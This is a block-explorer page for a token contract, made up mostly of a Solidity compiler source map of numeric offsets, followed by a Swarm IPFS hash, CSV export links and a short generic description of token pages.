2660:6201:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4075:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4838:159;;;;;;;;;;-1:-1:-1;4838:159:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;4838:159:0;1023:187:1;4279:100:0;;;;;;;;;;-1:-1:-1;4359:12:0;;4279:100;;;1361:25:1;;;1349:2;1334:18;4279:100:0;1215:177:1;5005:336:0;;;;;;;;;;-1:-1:-1;5005:336:0;;;;;:::i;:::-;;:::i;4177:94::-;;;;;;;;;;-1:-1:-1;4254:9:0;;4177:94;;4254:9;;;;2000:36:1;;1988:2;1973:18;4177:94:0;1858:184:1;2956:49:0;;;;;;;;;;-1:-1:-1;2956:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3100:44;;;;;;;;;;-1:-1:-1;3100:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3230:26;;;;;;;;;;;;;;;;3299:27;;;;;;;;;;-1:-1:-1;3299:27:0;;;;-1:-1:-1;;;;;3299:27:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;3299:27:0;2299:203:1;3263:27:0;;;;;;;;;;;;;;;;3055:36;;;;;;;;;;-1:-1:-1;3055:36:0;;;;-1:-1:-1;;;;;3055:36:0;;;4387:119;;;;;;;;;;-1:-1:-1;4387:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4480:18:0;4453:7;4480:18;;;:9;:18;;;;;;;4387:119;2283:148;;;;;;;;;;;;;:::i;:::-;;2829:30;;;;;;;;;;-1:-1:-1;2829:30:0;;;;-1:-1:-1;;;;;2829:30:0;;;2086:79;;;;;;;;;;-1:-1:-1;2124:7:0;2151:6;-1:-1:-1;;;;;2151:6:0;2086:79;;3969:98;;;;;;;;;;;;;:::i;4514:165::-;;;;;;;;;;-1:-1:-1;4514:165:0;;;;;:::i;:::-;;:::i;7981:840::-;;;:::i;7947:27::-;;;;;;;;;;;;;;;;4687:143;;;;;;;;;;-1:-1:-1;4687:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4795:18:0;;;4768:7;4795:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4687:143;2439:214;;;;;;;;;;-1:-1:-1;2439:214:0;;;;;:::i;:::-;;:::i;4075:94::-;4123:13;4156:5;4149:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4075:94;:::o;4838:159::-;4913:4;4930:37;4939:10;4951:7;4960:6;4930:8;:37::i;:::-;-1:-1:-1;4985:4:0;4838:159;;;;;:::o;5005:336::-;5103:4;5120:36;5130:6;5138:9;5149:6;5120:9;:36::i;:::-;-1:-1:-1;;;;;5171:19:0;;3219:1;5171:19;;;:11;:19;;;;;;;;5191:10;5171:31;;;;;;;;-1:-1:-1;;5171:38:0;5167:145;;-1:-1:-1;;;;;5260:19:0;;;;;;:11;:19;;;;;;;;5280:10;5260:31;;;;;;;;:40;;5294:6;;5260:40;:::i;:::-;-1:-1:-1;;;;;5226:19:0;;;;;;:11;:19;;;;;;;;5246:10;5226:31;;;;;;;:74;5167:145;-1:-1:-1;5329:4:0;5005:336;;;;;:::o;2283:148::-;2213:6;;-1:-1:-1;;;;;2213:6:0;2223:10;2213:20;2205:50;;;;-1:-1:-1;;;2205:50:0;;;;;;;:::i;:::-;;;;;;;;;2390:1:::1;2374:6:::0;;2353:40:::1;::::0;-1:-1:-1;;;;;2374:6:0;;::::1;::::0;2353:40:::1;::::0;2390:1;;2353:40:::1;2421:1;2404:19:::0;;-1:-1:-1;;;;;;2404:19:0::1;::::0;;2283:148::o;3969:98::-;4019:13;4052:7;4045:14;;;;;:::i;4514:165::-;4592:4;4609:40;4619:10;4631:9;4642:6;4609:9;:40::i;7981:840::-;2213:6;;-1:-1:-1;;;;;2213:6:0;2223:10;2213:20;2205:50;;;;-1:-1:-1;;;2205:50:0;;;;;;;:::i;:::-;8050:12:::1;::::0;:17;8042:44:::1;;;::::0;-1:-1:-1;;;8042:44:0;;4328:2:1;8042:44:0::1;::::0;::::1;4310:21:1::0;4367:2;4347:18;;;4340:30;-1:-1:-1;;;4386:18:1;;;4379:45;4441:18;;8042:44:0::1;4126:339:1::0;8042:44:0::1;8198:14;:27:::0;;-1:-1:-1;;;;;;8198:27:0::1;8142:42;8198:27:::0;;::::1;::::0;;;8256:4:::1;8099:25;8236:26:::0;;;:11:::1;:26;::::0;;;;;;;:47;;;;;;;;-1:-1:-1;;8236:53:0;;8348:20;;-1:-1:-1;;;8348:20:0;;;;8142:42;;8348:18:::1;::::0;:20:::1;::::0;;::::1;::::0;;;;;;;8142:42;8348:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8302:67;;8380:16;8399:11;-1:-1:-1::0;;;;;8399:22:0::1;;8430:4;8437:10;-1:-1:-1::0;;;;;8437:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8399:56;::::0;-1:-1:-1;;;;;;8399:56:0::1;::::0;;;;;;-1:-1:-1;;;;;4956:15:1;;;8399:56:0::1;::::0;::::1;4938:34:1::0;5008:15;;4988:18;;;4981:43;4873:18;;8399:56:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8466:12;:23:::0;;-1:-1:-1;;;;;;8466:23:0::1;-1:-1:-1::0;;;;;8466:23:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;8500:22:0;;;:12:::1;:22;::::0;;;;;;;:29;;-1:-1:-1;;8500:29:0;;::::1;-1:-1:-1::0;8500:29:0;;::::1;::::0;;;8542:38;;::::1;::::0;;;:17:::1;:38:::0;;;;;:45;;;;::::1;::::0;::::1;::::0;;;8653:4:::1;4480:18:::0;;;;;;;;;8466:23;;-1:-1:-1;8542:38:0;;8600:26:::1;::::0;8634:9:::1;::::0;8684:1:::1;8686::::0;8688:7:::1;2124::::0;2151:6;-1:-1:-1;;;;;2151:6:0;;2086:79;8688:7:::1;8600:112;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8600:112:0;;;-1:-1:-1;;;;;5394:15:1;;;8600:112:0::1;::::0;::::1;5376:34:1::0;5426:18;;;5419:34;;;;5469:18;;;5462:34;;;;5512:18;;;5505:34;5576:15;;;5555:19;;;5548:44;8696:15:0::1;5608:19:1::0;;;5601:35;5310:19;;8600:112:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8723:50:0::1;::::0;-1:-1:-1;;;8723:50:0;;-1:-1:-1;;;;;6150:32:1;;;8723:50:0::1;::::0;::::1;6132:51:1::0;-1:-1:-1;;6199:18:1;;;6192:34;8723:24:0;::::1;::::0;-1:-1:-1;8723:24:0::1;::::0;6105:18:1;;8723:50:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8801:12:0::1;8786;:27:::0;-1:-1:-1;;7981:840:0:o;2439:214::-;2213:6;;-1:-1:-1;;;;;2213:6:0;2223:10;2213:20;2205:50;;;;-1:-1:-1;;;2205:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2528:22:0;::::1;2520:43;;;::::0;-1:-1:-1;;;2520:43:0;;6721:2:1;2520:43:0::1;::::0;::::1;6703:21:1::0;6760:1;6740:18;;;6733:29;-1:-1:-1;;;6778:18:1;;;6771:38;6826:18;;2520:43:0::1;6519:331:1::0;2520:43:0::1;2600:6;::::0;;2579:38:::1;::::0;-1:-1:-1;;;;;2579:38:0;;::::1;::::0;2600:6;::::1;::::0;2579:38:::1;::::0;::::1;2628:6;:17:::0;;-1:-1:-1;;;;;;2628:17:0::1;-1:-1:-1::0;;;;;2628:17:0;;;::::1;::::0;;;::::1;::::0;;2439:214::o;5349:177::-;-1:-1:-1;;;;;5434:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5486:32;;1361:25:1;;;5486:32:0;;1334:18:1;5486:32:0;;;;;;;5349:177;;;:::o;5534:935::-;-1:-1:-1;;;;;5701:16:0;;5648:12;5701:16;;;:12;:16;;;;;;5648:12;;5701:16;;:27;;;;-1:-1:-1;5722:6:0;;;;5721:7;5701:27;:55;;;;-1:-1:-1;;;;;;5733:23:0;;;;;;:17;:23;;;;;;;;5732:24;5701:55;:81;;;;-1:-1:-1;;;;;;5761:21:0;;;;;;:17;:21;;;;;;;;5760:22;5701:81;5697:527;;;5848:4;5799:28;4480:18;;;:9;:18;;;;;;5873:24;;5869:344;;5948:6;5995:42;;;:147;;6123:19;5995:147;;;6102:20;5995:147;5973:169;;6161:36;6177:19;6161:15;:36::i;:::-;5899:314;5869:344;5784:440;5697:527;-1:-1:-1;;;;;6241:23:0;;;;;;:17;:23;;;;;;;;6240:24;:50;;;;-1:-1:-1;;;;;;6269:21:0;;;;;;:17;:21;;;;;;;;6268:22;6240:50;:61;;;;-1:-1:-1;6295:6:0;;;;6294:7;6240:61;6236:108;;;6328:4;6318:14;;6236:108;-1:-1:-1;;;;;6360:16:0;;;;;;:12;:16;;;;;;;;6356:42;;;-1:-1:-1;6391:4:0;6356:42;6410:51;6425:4;6431:2;6435:6;6443:7;6452:8;6410:14;:51::i;:::-;5637:832;;5534:935;;;:::o;7506:433::-;3367:6;:13;;-1:-1:-1;;3367:13:0;3376:4;3367:13;;;7607:16:::1;::::0;;7621:1:::1;7607:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7607:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7607:16:0::1;7583:40;;7652:4;7634;7639:1;7634:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7634:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7678:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;7678:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;7634:7;;7678:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7668:4;7673:1;7668:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7668:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;7714:14:::1;::::0;7863:15:::1;::::0;7714:206:::1;::::0;-1:-1:-1;;;7714:206:0;;:14;;::::1;::::0;:65:::1;::::0;:206:::1;::::0;7794:11;;7714:14:::1;::::0;7836:4;;7863:15;;::::1;::::0;7894::::1;::::0;7714:206:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;7710:222:::0;-1:-1:-1;;3403:6:0;:14;;-1:-1:-1;;3403:14:0;;;7506:433::o;6477:1021::-;6653:17;6687:7;6683:565;;;6725:14;6760:8;6756:181;;;6797:15;;6823:4;-1:-1:-1;;;;;6797:15:0;;;:23;:30;6789:39;;;;;;-1:-1:-1;6856:8:0;;6756:181;;;-1:-1:-1;6914:7:0;;6756:181;6951:18;6991:3;6972:16;6982:6;6972:7;:16;:::i;:::-;:22;;;;:::i;:::-;6951:43;-1:-1:-1;7013:14:0;;7009:228;;7048:23;7061:10;7048:23;;:::i;:::-;7135:4;7117:24;;;;:9;:24;;;;;;7048:23;;-1:-1:-1;7117:37:0;;7144:10;;7117:37;:::i;:::-;7108:4;7090:24;;;;:9;:24;;;;;;;:64;;;;7178:43;;-1:-1:-1;;;;;7178:43:0;;;;;;;7210:10;1361:25:1;;1349:2;1334:18;;1215:177;7178:43:0;;;;;;;;7009:228;6696:552;;6683:565;7273:15;;-1:-1:-1;;;;;7263:25:0;;;7273:15;;7263:25;7259:87;;-1:-1:-1;;;;;7319:17:0;;;;;;:9;:17;;;;;;:27;;7339:7;;7319:27;:::i;:::-;-1:-1:-1;;;;;7299:17:0;;;;;;:9;:17;;;;;:47;7259:87;7404:19;7414:9;7404:7;:19;:::i;:::-;-1:-1:-1;;;;;7380:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;7357:20:0;;;;;;;:9;:20;;;;;:67;;;;7440:48;;;7468:19;7478:9;7468:7;:19;:::i;:::-;7440:48;;1361:25:1;;;1349:2;1334:18;7440:48:0;;;;;;;6642:856;6477:1021;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;:::-;2283:5;2047:247;-1:-1:-1;;;2047:247:1:o;2737:388::-;2805:6;2813;2866:2;2854:9;2845:7;2841:23;2837:32;2834:52;;;2882:1;2879;2872:12;2834:52;2921:9;2908:23;2940:31;2965:5;2940:31;:::i;:::-;2990:5;-1:-1:-1;3047:2:1;3032:18;;3019:32;3060:33;3019:32;3060:33;:::i;:::-;3112:7;3102:17;;;2737:388;;;;;:::o;3130:380::-;3209:1;3205:12;;;;3252;;;3273:61;;3327:4;3319:6;3315:17;3305:27;;3273:61;3380:2;3372:6;3369:14;3349:18;3346:38;3343:161;;3426:10;3421:3;3417:20;3414:1;3407:31;3461:4;3458:1;3451:15;3489:4;3486:1;3479:15;3343:161;;3130:380;;;:::o;3515:127::-;3576:10;3571:3;3567:20;3564:1;3557:31;3607:4;3604:1;3597:15;3631:4;3628:1;3621:15;3647:128;3714:9;;;3735:11;;;3732:37;;;3749:18;;:::i;3780:341::-;3982:2;3964:21;;;4021:2;4001:18;;;3994:30;-1:-1:-1;;;4055:2:1;4040:18;;4033:47;4112:2;4097:18;;3780:341::o;4470:251::-;4540:6;4593:2;4581:9;4572:7;4568:23;4564:32;4561:52;;;4609:1;4606;4599:12;4561:52;4641:9;4635:16;4660:31;4685:5;4660:31;:::i;5647:306::-;5735:6;5743;5751;5804:2;5792:9;5783:7;5779:23;5775:32;5772:52;;;5820:1;5817;5810:12;5772:52;5849:9;5843:16;5833:26;;5899:2;5888:9;5884:18;5878:25;5868:35;;5943:2;5932:9;5928:18;5922:25;5912:35;;5647:306;;;;;:::o;6237:277::-;6304:6;6357:2;6345:9;6336:7;6332:23;6328:32;6325:52;;;6373:1;6370;6363:12;6325:52;6405:9;6399:16;6458:5;6451:13;6444:21;6437:5;6434:32;6424:60;;6480:1;6477;6470:12;6987:127;7048:10;7043:3;7039:20;7036:1;7029:31;7079:4;7076:1;7069:15;7103:4;7100:1;7093:15;7119:980;7381:4;7429:3;7418:9;7414:19;7460:6;7449:9;7442:25;7486:2;7524:6;7519:2;7508:9;7504:18;7497:34;7567:3;7562:2;7551:9;7547:18;7540:31;7591:6;7626;7620:13;7657:6;7649;7642:22;7695:3;7684:9;7680:19;7673:26;;7734:2;7726:6;7722:15;7708:29;;7755:1;7765:195;7779:6;7776:1;7773:13;7765:195;;;7844:13;;-1:-1:-1;;;;;7840:39:1;7828:52;;7935:15;;;;7900:12;;;;7876:1;7794:9;7765:195;;;-1:-1:-1;;;;;;;8016:32:1;;;;8011:2;7996:18;;7989:60;-1:-1:-1;;;8080:3:1;8065:19;8058:35;7977:3;7119:980;-1:-1:-1;;;7119:980:1:o;8104:168::-;8177:9;;;8208;;8225:15;;;8219:22;;8205:37;8195:71;;8246:18;;:::i;8277:217::-;8317:1;8343;8333:132;;8387:10;8382:3;8378:20;8375:1;8368:31;8422:4;8419:1;8412:15;8450:4;8447:1;8440:15;8333:132;-1:-1:-1;8479:9:1;;8277:217::o;8499:125::-;8564:9;;;8585:10;;;8582:36;;;8598:18;;:::i

Swarm Source

ipfs://3827cf3351d5b24b62311d62be5239f44a5f653b21638563dcdd3b89773bbb46
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.